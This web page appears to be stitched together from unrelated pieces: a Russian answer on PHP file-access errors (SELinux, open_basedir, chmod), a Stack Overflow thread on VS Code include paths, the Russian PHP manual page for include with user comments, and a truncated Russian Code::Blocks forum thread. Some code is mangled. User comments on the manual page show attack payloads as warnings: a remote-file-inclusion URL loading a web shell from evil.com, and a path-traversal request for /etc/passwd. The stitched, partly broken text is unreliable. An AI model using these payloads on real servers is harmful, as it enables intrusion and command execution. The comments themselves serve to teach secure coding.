Чтобы проверить, включен ли SELinux в вашей системе, запустите команду sestatus в терминале. Если команда не существует, значит, SELinux отсутствует в вашей системе. Если же существует, команда должна сообщить вам, применяется это или нет.

Чтобы проверить, являются ли политики SELinux причиной проблемы, вы можете попробовать временно отключить ее. Однако будьте ОСТОРОЖНЫ, так как это полностью отключит защиту. Не делайте этого на рабочем сервере.

setenforce0

Если проблема с выключенным SELinux больше не возникает, то это основная причина.

Чтобы решить эту проблему, вам необходимо соответствующим образом настроить SELinux.

Потребуются следующие варианты:

  • httpd_sys_content_t для файлов, которые ваш сервер может читать;

  • httpd_sys_rw_content_t для файлов, к которым необходимо дать доступ для чтения и записи;

  • httpd_log_t для файлов журнала;

  • httpd_cache_t для каталога кэша.

Например, чтобы назначить httpd_sys_content_t к корневому каталогу вашего веб-сайта, выполните:

semanage fcontext -a -t httpd_sys_content_t «/path/to/root(/.*)?»

restorecon -Rv /path/to/root

Если ваш файл находится в домашнем каталоге, вам также необходимо включить httpd_enable_homedirs:

setsebool -P httpd_enable_homedirs 1

В любом случае может быть множество причин, по которым SELinux отказывает в доступе к файлу, в зависимости от ваших политик. Так что вам нужно будет узнать об этом в руководстве по настройке SELinux для веб-сервера.

3. Symfony

Если вы используете Symfony и получаете эту ошибку при загрузке на сервер, возможно, кэш приложения не был сброшен, либо потому, что app/cache был загружен, либо этот кэш не был очищен.

Для этого надо выполнить следующую консольную команду:

cache:clear

4. Внутри Zip-файла символы, отличные от ASCII

По-видимому, эта ошибка может произойти также при вызове zip->close(), когда некоторые файлы внутри zip имеют в своем имени не-ASCII символы, такие как, например, «é».

Потенциальное решение — обернуть имя файла, используя utf8_decode(), перед созданием целевого файла.

Ответ 2

В дополнение к предыдущему ответу:

Программное обеспечение для виртуального хостинга

open_basedir может поставить вас в тупик, потому что его можно указать в конфигурации веб-сервера. Хотя этолегко исправить, если вы запустите свой собственный выделенный сервер, существуют некоторые пакеты программного обеспечения для общего хостинга (например, Plesk, cPanel и т. д.), которые настраивают директиву конфигурации для каждого домена. Поскольку программное обеспечение создает файл конфигурации, вы не можете изменить этот файл напрямую, потому что программное обеспечение хостинга просто перезапишет его при перезапуске.

Plesk предоставляет возможность переопределить предоставленный httpd.conf,вызывая vhost.conf. Только администратор сервера может записать этот файл. Конфигурация для Apache выглядит примерно так:

<Directory /var/www/vhosts/domain.com>

    <IfModule mod_php5.c>

        php_admin_flag engine on

        php_admin_flag safe_mode off

        php_admin_value open_basedir «/var/www/vhosts/domain.com:/tmp:/usr/share/pear:/local/PEAR»

    </IfModule>

</Directory>

Попросите администратора сервера ознакомиться с руководством по используемому им хостингу и программному обеспечению веб-сервера.

Права доступа к файлам

Важно отметить, что выполнение файла через веб-сервер сильно отличается от выполнения задания из командной строки или cron. Разница в том, что у вашего веб-сервера есть собственный пользователь и разрешения. По соображениям безопасности этот пользователь имеет ограничения. Apache, например, часто бывает apachewww-data или httpd (в зависимости от сервера). Задание cron или выполнение CLI имеет все разрешения, которые есть у запускающего его пользователя (т. е. запуск PHP-скрипта от имени root будет выполняться с разрешениями root).

Часто люди решают проблему с разрешениями, выполнив следующие действия (пример Linux):

chmod 777 /path/to/file

Это не самая лучшая идея, потому что файл или каталог теперь доступны для записи всем. Если вы владеете сервером и являетесь единственным пользователем, то это не такая уж большая проблема, но если вы находитесь в среде общего хостинга, вы только что предоставили доступ всем на своем сервере.

Что вам нужно сделать, так это определить пользователей, которым требуется доступ, и предоставить доступ только им. Как только вы узнаете, каким пользователям нужен доступ, вы должны убедиться, что:

  1. Этот пользователь владеет файлом и, возможно, родительским каталогом (особенно родительским каталогом, если вы хотите записывать файлы). В большинстве сред общего хостинга это не будет проблемой, потому что ваш пользователь должен владеть всеми файлами под вашим корневым каталогом. 

  2. В Linux хорошей практикой будет использованиеchmod 600 (только владелец может читать и писать) или chmod 644 (владелец может писать, но все могут читать).

Ответ 3

Samba Shares

Если у вас есть тестовый сервер Linux и вы работаете из клиента Windows, общий ресурс Samba мешает команде chmod. Даже если вы используете:

chmod -R 777 myfolder

со стороны Linux вполне возможно, что Unix Groupwww-data все еще не будет иметь доступ на запись. Есть рабочее решение: если ваш общий ресурс настроен так, что администраторы Windows сопоставлены с корневым каталогом в Windows откройте разрешения, отключите наследование для вашей папки с копией, а затем предоставьте полный доступ для www-данных.

I am trying to get intellisense in Visual Studio Code. I downloaded the the C/C++ extension from the marketplace: https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools and also installed MinGW with the packages mingw32-base and mingw32-gcc-c++. I added the MinGW bin folder to Path in my Environment variables.

When I add any include statement in my .c file, such as #include <stdio.h>, Visual Studio Code says:

Include file not found in include directory

Am I not configuring correctly? How can I get intellisense for C/C++?

asked Sep 10, 2016 at 20:24

syy's user avatar

  1. First, make sure to create a c_cpp_properties.json file in your .vscode folder

    Hint: Use the Command Palette (Ctrl+Shift+P) and type C/Cpp: Edit Configurations

  2. Add include paths like this:

    {
      "configurations": [
        {
          "name": "Win32",
          "includePath": [
            "path_to_your/MinGW/lib/gcc/mingw32/4.8.1/include/c++"
          ],
          "browse": {
            "limitSymbolsToIncludedHeaders": true,
            "databaseFilename": ""
          }
        }
      ]
    }
    

KyleMit's user avatar

KyleMit

34.4k64 gold badges456 silver badges655 bronze badges

answered Sep 13, 2016 at 3:48

wbmrcb's user avatar

wbmrcbwbmrcb

3482 silver badges5 bronze badges

2

As an expansion to wbmrcb’s answer, I found header files under Windows Kits directory:

C:Program Files (x86)Windows Kits10Include10.0.10586.0ucrt

answered Dec 30, 2016 at 22:33

fatihpense's user avatar

fatihpensefatihpense

6089 silver badges11 bronze badges

On Fedora linux I added the following path where all my c header files lives.

/usr/include/**

to myc_cpp_properties.json file.

{
    "configurations": [
        {
            "name": "Linux",
            "includePath": [
                "${workspaceFolder}/**",
                "/usr/include/**"
            ],
            ...
        }
    ],
    "version": 4
}

syy's user avatar

syy

6772 gold badges13 silver badges32 bronze badges

answered Mar 9, 2020 at 12:22

Marcel Zebrowski's user avatar

I am using MinGW 8.1.0 and the C/C++ extension from microsoft, this worked for me —

{
"configurations": [
    {
        "name": "Win32",
        "includePath": [
            "C:/mingw32/lib/gcc/i686-w64-mingw32/8.1.0/include/c++",
            "C:/mingw32/lib/gcc/i686-w64-mingw32/8.1.0/include/c++/tr1",
            "C:/mingw32/lib/gcc/i686-w64-mingw32/8.1.0/include/c++/i686-w64-mingw32"
        ],
        "defines": [
            "_DEBUG",
            "UNICODE",
            "_UNICODE"
        ],
        "compilerPath": "C:/mingw32/bin/gcc.exe",
        "cStandard": "c17",
        "cppStandard": "c++17",
        "intelliSenseMode": "windows-gcc-x64"
    }
],
"version": 4
}

answered May 8, 2022 at 13:55

Ninad Kulkarni's user avatar

(PHP 4, PHP 5, PHP 7, PHP 8)

Выражение include включает и выполняет
указанный файл.

Документация ниже также относится к выражению require.

Файлы включаются исходя из пути указанного файла, или, если путь не указан,
используется путь, указанный в директиве include_path. Если файл
не найден в include_path,
include попытается проверить директорию, в которой находится текущий включающий скрипт
и текущую рабочую директорию перед тем, как выдать ошибку. Конструкция
include выдаст E_WARNING, если
не сможет найти файл; поведение отлично от require, который выдаст
E_ERROR.

Обратите внимание, что и include и require
выдают дополнительную ошибку уровня E_WARNING, если к файлу невозможно
получить доступ, перед тем, как выдать последнюю ошибку уровня
E_WARNING или E_ERROR соответственно.

Если путь указан — абсолютный (начинающийся с буквы диска или с
в Windows или с / в Unix/Linux
системах) или относительно текущей директории (начинающийся с
. или ..) —
include_path будет проигнорирован вообще.
Например, если имя файла начинается с ../,
парсер будет искать в родительской директории запрошенный файл.

Для дополнительной информации о том, как PHP обрабатывает включаемые файлы и включаемые пути,
смотрите документацию для директивы include_path.

Когда файл включается, его код наследует ту же
область видимости переменных, что
и строка, на которой произошло включение. Все переменные, доступные на этой строке
во включающем файле, будут также доступны во включаемом файле.
Однако все функции и классы, объявленные во включаемом файле, имеют
глобальную область видимости.

Пример #1 Простой пример include


vars.php
<?php

$color

= 'зелёное';
$fruit = 'яблоко';?>

test.php
<?phpecho "Одно $color $fruit"; // Одноinclude 'vars.php';

echo

"Одно $color $fruit"; // Одно зелёное яблоко?>

Если включение происходит внутри функции включающего файла,
тогда весь код, содержащийся во включаемом файле, будет вести себя так,
как будто он был определён внутри этой функции. То есть, он будет в той же области видимости
переменных этой функции.
Исключением к этому правилу являются магические константы, которые
выполняются парсером перед тем, как происходит включение.

Пример #2 Включение внутри функции


<?phpfunction foo()
{
global
$color;

include

'vars.php';

echo

"Одно $color $fruit";
}
/* vars.php в той же области видимости, что и foo(), *
* поэтому $fruit НЕ будет доступен за пределами этой области *
* $color доступен, поскольку мы объявили переменную глобальной */
foo(); // Одно зелёное яблоко
echo "Одно $color $fruit"; // Одно зелёное?>

Когда файл включается, парсинг в режиме PHP-кода прекращается и переключается
в режим HTML в начале указанного файла и продолжается
снова в конце. По этой причине любой код внутри включаемого файла,
который должен быть выполнен как код PHP, должен быть заключён в
корректные теги начала и конца PHP-кода.

Если «обёртки URL include»
включены в PHP, вы можете также указать файл для включения через URL (с помощью HTTP или
других поддерживающихся обработчиков — смотрите Поддерживаемые протоколы и обёртки для списка
протоколов) вместо локального пути. Если целевой сервер интерпретирует
указанный файл как код PHP, переменные могут быть переданы во включаемый файл
с помощью строки URL-запроса при использовании HTTP GET. Это совсем не то же самое,
что включение файла и наследование родительской области видимости; скрипт
выполняется на удалённом сервере, и результат затем
включается в локальный скрипт.

Пример #3 Пример include через HTTP


<?php/* В этом примере предполагается, что www.example.com настроен на обработку .php
* файлов, но не .txt. Также, 'Сработает' обозначает, что переменные
* $foo и $bar доступны внутри включаемого файла. */

// Не сработает; file.txt не обрабатывается www.example.com как PHP

include 'http://www.example.com/file.txt?foo=1&bar=2';// Не сработает; будет искать файл 'file.php?foo=1&bar=2' в
// локальной файловой системе.
include 'file.php?foo=1&bar=2';// Сработает.
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

Внимание

Предупреждение безопасности

Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от
расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно
должно производить корректный скрипт PHP, потому что он будет затем обработан уже на
локальном сервере. Если файл с удалённого сервера должен быть обработан
и только отображён его результат, гораздо эффективно воспользоваться функцией readfile()
В противном случае следует соблюдать особую осторожность, чтобы обезопасить
удалённый скрипт для получения корректного и желаемого кода.

Смотрите также раздел Удалённые файлы, функции
fopen() и file() для дополнительной
информации.

Обработка возвращаемых значений: оператор include возвращает
значение FALSE в случае возникновения ошибки и выдаёт предупреждение. Успешные
включения, пока это не переопределено во включаемом файле, возвращают значение
1. Возможно выполнить выражение return
внутри включаемого файла, чтобы завершить процесс выполнения в
этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть
значение из включаемых файлов. Вы можете получить значение включения, как
если бы вы вызвали обычную функцию. Хотя это невозможно при включении
удалённого файла, только если вывод удалённого файла не содержит
корректные теги начала и конца PHP
кода (так же, как и локальный файл). Вы можете определить необходимые
переменные внутри этих тегов и они будут представлены в зависимости от того,
какой файл был выключен.

Так как include — это специальная языковая конструкция,
круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении
возвращаемого значения.

Пример #4 Сравнение возвращаемого значения при include


<?php
// не сработает, интерпретируется как include(('vars.php') == TRUE), то есть include('1')
if (include('vars.php') == TRUE) {
echo
'OK';
}
// сработает
if ((include 'vars.php') == TRUE) {
echo
'OK';
}
?>

Пример #5 Выражения include и return


return.php
<?php

$var

= 'PHP';

return

$var;?>

noreturn.php
<?php

$var

= 'PHP';?>

testreturns.php
<?php

$foo

= include 'return.php';

echo

$foo; // выведет 'PHP'$bar = include 'noreturn.php';

echo

$bar; // выведет 1?>

$bar имеет значение 1, т.к. включение файла произошло
успешно. Заметьте разницу между примерами сверху. Первый использует
return внутри включаемого файла, тогда как второй не использует.
Если файл не может быть включён, возвращается false и возникает
E_WARNING.

Если во включаемом файле определены функции, они могут быть использованы в
главном файле вне зависимости от того, были ли они объявлены до return или после.
Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции
уже были определены.
Рекомендуется использовать include_once вместо того, чтобы
проверять был ли файл уже включён.

Другой путь «включить» PHP-файл в переменную — это захватить
вывод с помощью функций контроля вывода
вместе с include. Например:

Пример #6 Использование буферизации вывода для включения файла PHP в строку


<?php
$string
= get_include_contents('somefile.php');

function

get_include_contents($filename) {
if (
is_file($filename)) {
ob_start();
include
$filename;
return
ob_get_clean();
}
return
false;
}
?>

Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы
auto_prepend_file и
auto_append_file
в php.ini.

Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.

Смотрите также require, require_once,
include_once, get_included_files(),
readfile(), virtual() и
include_path.

snowyurik at gmail dot com

14 years ago


This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.

Rash

8 years ago


If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php# index.php
define('what', 'ever');
include
'includeFile.php';# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php# index.php (in document root (/usr/share/nginx/html))include __DIR__ . '/../src/includeFile.php';?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.


John Carty

6 years ago


Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include
$path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.


Anon

11 years ago


I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.

error17191 at gmail dot com

7 years ago


When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?phpecho 'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'Changing current working directory to dir2';
chdir('../dir2');
echo
'<br />';
echo
'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'including "dir2_test" ...';
echo
'<br />';
include
'dir2_test';
echo
'<br />';
echo
'including "dir1_test" ...';
echo
'<br />';
include
'dir1_test';
echo
'<br />';
echo
'including "./dir1_test" ...';
echo
'<br />';
(@include
'./dir1_test') or die('couldn't include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file


Wade.

14 years ago


If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.


Rick Garcia

15 years ago


As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.


jbezorg at gmail dot com

5 years ago


Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );


Ray.Paseur often uses Gmail

8 years ago


It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once(
$cfg_path);


anonphpuser

7 months ago


In the Example #2 Including within functions, the last two comments should be reversed I believe.

Chris Bell

13 years ago


A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.


sPlayer

12 years ago


Sometimes it will be usefull to include a string as a filename

<?php
//get content

$cFile = file_get_contents('crypted.file');

//decrypt the content

$content = decrypte($cFile);
//include this

include("data://text/plain;base64,".base64_encode($content));

//or

include("data://text/plain,".urlencode($content));

?>


joe dot naylor at gmail dot com

12 years ago


Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page
= $_GET['page'];
if (
file_exists('pages/'.$page.'.php'))
{
   include(
'pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.


hyponiq at gmail dot com

13 years ago


I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:ServerSitesMySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot
= null;

if (isset(

$_SERVER['DOCUMENT_ROOT'])) {
   
$documentRoot = $_SERVER['DOCUMENT_ROOT'];

        if (

strstr($documentRoot, '/') || strstr($documentRoot, '\')) {
        if (
strstr($documentRoot, '/')) {
           
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (
strstr($documentRoot, '\')) {
           
$documentRoot = str_replace('\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

        if (

preg_match('/[^\/]{1}\[^\/]{1}/', $documentRoot)) {
       
$documentRoot = preg_replace('/([^\/]{1})\([^\/]{1})/', '\1DIR_SEP\2', $documentRoot);
       
$documentRoot = str_replace('DIR_SEP', '\\', $documentRoot);
    }
}
else {
   
/**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
   
$directories = array(
       
'Includes'
   
);

        if (

defined('__DIR__')) {
       
$currentDirectory = __DIR__;
    }
    else {
       
$currentDirectory = dirname(__FILE__);
    }
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
   
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

        foreach (

$directories as $directory) {
       
$currentDirectory = str_replace(
           
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
           
DIRECTORY_SEPARATOR,
           
$currentDirectory
       
);
    }
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>


ayon at hyurl dot com

6 years ago


It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo
file_get_contents("something.zip#script.php");
?>
Note that instead of using / or , open a file from a zip file uses # to separate zip name and inner file's name.

mbread at m-bread dot com

16 years ago


If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.


example at user dot com

14 years ago


Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header

('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include

'/some_image.jpg';
echo
'This file was provided by example@user.com.';?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"


durkboek A_T hotmail D_O_T com

19 years ago


I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach(
$output as $line) {
echo
$line . "<br>n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.


abanarn at gmail dot com

8 years ago


To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:elementscriptsinclude.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:elementscriptsinclude.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lementscriptsinclude.php): failed to open stream: In
valid argument in C:elementscriptsinclude.php on line 20

Fatal error: require(): Failed opening required 'C:←lementscriptsinclude.php

Solution:
-----------
Theoretically, you should be always using "\" instead of "" when you write php in windows machine OR use "/" like in Linux and you should fine since "" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,


james at gogo dot co dot nz

19 years ago


While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
 
function &x(&$y)
  {
    return include(
dirname(__FILE__) . '/2.php');
  }
$z = "FOOn";
 
$z2 = &x($z);

  echo

$z2;
 
$z  = "NOOn";

    echo

$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/


uramihsayibok, gmail, com

15 years ago


I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?phpfunction include_all_once ($pattern) {
    foreach (
glob($pattern) as $file) { // remember the { and } are necessary!
       
include $file;
    }
}
// used like
include_all_once('dir/*.php');?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.


Jero Minh

8 years ago


Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.

Consider the following:
<?php
    ini_set
('error_reporting', E_ALL);

    echo

"Own value before: ";
    echo
ini_get('error_reporting');
    echo
"rn";

    echo

"include foo.php: ";
    include(
'foo.php');

    echo

"@include foo.php: ";
    @include(
'foo.php');

    echo

"Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
   
echo ini_get('error_reporting') . "rn";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767


0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

1

14.09.2013, 00:13. Показов 2416. Ответов 26


Студворк — интернет-сервис помощи студентам

Здравствуйте, работаю в Code::Blocks’e, пытаюсь подключить свои файлы с помощью #include, но компилятор не может их найти. Уже добавил в проект, в папку с проектом, вообщем перепробовал всё. В чём ошибка ?

Миниатюры

Не находит файлы для include
 



0



Jupiter

Каратель

Эксперт С++

6608 / 4027 / 401

Регистрация: 26.03.2010

Сообщений: 9,273

Записей в блоге: 1

14.09.2013, 00:19

2

C++
1
#include "inifile.h"



0



0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

14.09.2013, 00:20

 [ТС]

3

Jupiter, нет. Дело в том, что надо подключать именно iniFile.cpp, оно с ним работает, но не находит его.



0



-7 / 0 / 0

Регистрация: 26.09.2012

Сообщений: 109

14.09.2013, 00:25

4

#include не понимает *.cpp



0



0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

14.09.2013, 00:28

 [ТС]

5

nikstorm, всё он понимает. В другом компиляторе работало, просто мне надо было немного изменить условия по поводу размещения файлов.



0



Каратель

Эксперт С++

6608 / 4027 / 401

Регистрация: 26.03.2010

Сообщений: 9,273

Записей в блоге: 1

14.09.2013, 00:32

6

Цитата
Сообщение от nikstorm
Посмотреть сообщение

#include не понимает *.cpp

заинклудить можно любой файл, другое дело что внутри файла

Цитата
Сообщение от neic777
Посмотреть сообщение

всё он понимает. В другом компиляторе работало, просто мне надо было немного изменить условия по поводу размещения файлов.

если вам нужно инклудить *.cpp файл то вы явно что-то делаете не так



1



4023 / 3280 / 920

Регистрация: 25.03.2012

Сообщений: 12,269

Записей в блоге: 1

14.09.2013, 00:34

7

Цитата
Сообщение от neic777
Посмотреть сообщение

nikstorm, всё он понимает. В другом компиляторе работало, просто мне надо было немного изменить условия по поводу размещения файлов.

даже, если бы чего-то там работало, так всё равно нельзя делать. Если учите язык, не учитесь на дурных примерах.



0



0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

14.09.2013, 00:46

 [ТС]

8

Kuzia domovenok, это совсем другая история и вообще оффтоп. Я спрашивал совсем о другом.Jupiter, в CodeGear всё работало прекрасно с таким кодом, это просто ини парсер так написан.



0



4023 / 3280 / 920

Регистрация: 25.03.2012

Сообщений: 12,269

Записей в блоге: 1

14.09.2013, 00:51

9

neic777, ты спрашивал, «в чём ошибка?» — тебе ответили. Какие ещё вопросы, если ты считаешь, что всё и так должно работать?



0



0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

14.09.2013, 00:56

 [ТС]

10

Kuzia domovenok, компилятор не находит файлы, которые я добавил. Я поменял на iniFile.h его оно тоже не находит. Мне надо знать причину почему оно его не находит, оно не пишет что ошибка в файле или не может его прочитать, оно его даже найти не может !



0



-7 / 0 / 0

Регистрация: 26.09.2012

Сообщений: 109

